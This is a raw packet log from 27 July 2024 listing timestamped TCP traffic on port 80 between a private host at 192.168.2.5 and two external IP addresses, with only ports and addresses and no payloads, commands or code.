Jul 27, 2024 13:31:01.343626976 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.343640089 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343673944 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343693972 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.343705893 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343739986 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343755960 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.343772888 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343810081 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343842983 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.343844891 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343909979 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.346498966 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.346534014 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.346587896 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.346611023 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.346750021 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.346785069 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.346808910 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.346822977 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.346854925 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.346877098 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.346889019 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.346923113 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.346945047 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.346956015 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.346988916 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.347009897 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.347023964 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.347057104 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.347079039 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.347093105 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.347147942 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.367042065 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367099047 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367135048 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367165089 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.367227077 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367259979 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367299080 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.367315054 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367366076 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367371082 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.367408037 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367486954 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.367501974 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367536068 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367568016 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367587090 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.367604017 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.367674112 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.660321951 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:01.665724993 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:01.665832996 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:01.665900946 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:01.671608925 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.168703079 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.168751955 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.168787003 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.168829918 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.168853045 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.168941975 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.168975115 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.169008017 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.169040918 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.169074059 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.169109106 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.169115067 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.169115067 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.169143915 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.169186115 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.175251961 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.175287962 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.175359011 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.180176973 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.226830959 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.261408091 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.261504889 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.261539936 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.261571884 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.261580944 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.261606932 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.261640072 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.261656046 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.261673927 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.261699915 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.261704922 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.261738062 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.261758089 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.261771917 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.261835098 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.262120962 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.262268066 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.262322903 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.262331963 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.262397051 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.262432098 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.262456894 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.262929916 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.262993097 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.263020992 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.263098001 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.263144016 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.263160944 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.263220072 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.263278961 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.267498016 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.267534018 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.267569065 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.267596006 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.316013098 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.316099882 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.365200996 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365243912 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365278006 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365309954 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365343094 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365395069 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365428925 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365425110 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.365462065 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365494013 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365498066 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.365525007 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365550041 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.365557909 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365580082 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.365590096 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365622044 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365655899 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365664959 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.365686893 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365711927 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.365721941 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.365772963 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.367892981 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.367925882 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.367958069 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.367990017 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.368067980 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368100882 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368127108 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.368133068 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368186951 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.368187904 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368237019 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368272066 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368303061 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.368303061 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368336916 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368357897 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.368367910 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368401051 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368427038 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.368432999 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368510008 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368515015 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.368558884 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368591070 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368618011 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.368623972 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368674994 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.368683100 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.369641066 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.369674921 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.369705915 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.369724989 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.369757891 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.369785070 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.369798899 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.369856119 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.369863033 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.369896889 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.369955063 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.370191097 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.370222092 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.370256901 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.370280027 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.411346912 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.411488056 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.411509991 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.411520004 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.411608934 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.452718973 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.452805996 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.452842951 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.452908039 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.453252077 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.453285933 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.453356028 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.453412056 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.453449011 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.453473091 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.453728914 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.453762054 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.453788996 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.453907967 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.453942060 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.453963041 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.454490900 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.454525948 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.454551935 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.454667091 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.454705954 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.454730988 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.455524921 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.455559015 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.455585003 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.455591917 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.455626011 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.455645084 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.455657959 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.455714941 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.456446886 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.456480026 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.456540108 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.456558943 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.456573009 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.456626892 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.457216024 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.457251072 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.457304955 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.457372904 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.457407951 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.457459927 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.458086967 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.458122015 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.458154917 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.458178043 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.458188057 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.458220959 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.458242893 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.458983898 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.459018946 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.459043980 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.459053040 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.459084988 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.459110975 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.459853888 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.459889889 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.459912062 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.459923029 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.459956884 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.459974051 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.459990025 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.460045099 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.460747004 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.460782051 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.460836887 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.460906982 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.460941076 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.460995913 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.461539030 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.461574078 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.461608887 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.461631060 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.461642981 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.461694002 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.516082048 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.516154051 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.516190052 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.516242027 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.516478062 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.516544104 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.516545057 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.545030117 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.545135975 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.545146942 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.545155048 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.545233011 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.545494080 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.545511007 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.545526981 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.545545101 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.545563936 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.545594931 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.546217918 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.546233892 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.546292067 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.546624899 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.546641111 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.546658039 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.546674013 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.546690941 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.546696901 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.546705008 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.546725035 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.546781063 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.547615051 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.547631025 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.547645092 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.547661066 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.547677040 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.547678947 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.547729969 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.548641920 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.548659086 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.548674107 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.548690081 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.548702002 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.548741102 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.549314976 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.549330950 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.549346924 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.549361944 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.549372911 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.549376965 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.549413919 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.549442053 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.550359011 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.550376892 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.550391912 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.550409079 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.550424099 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.550430059 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.550440073 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.550465107 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.550493956 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.551400900 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.551418066 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.551434040 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.551450014 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.551465034 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.551486015 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.551521063 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.552436113 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.552453995 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.552469969 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.552494049 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.552509069 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.552515030 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.552526951 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.552536011 CEST	49705	80	192.168.2.5	104.168.45.34
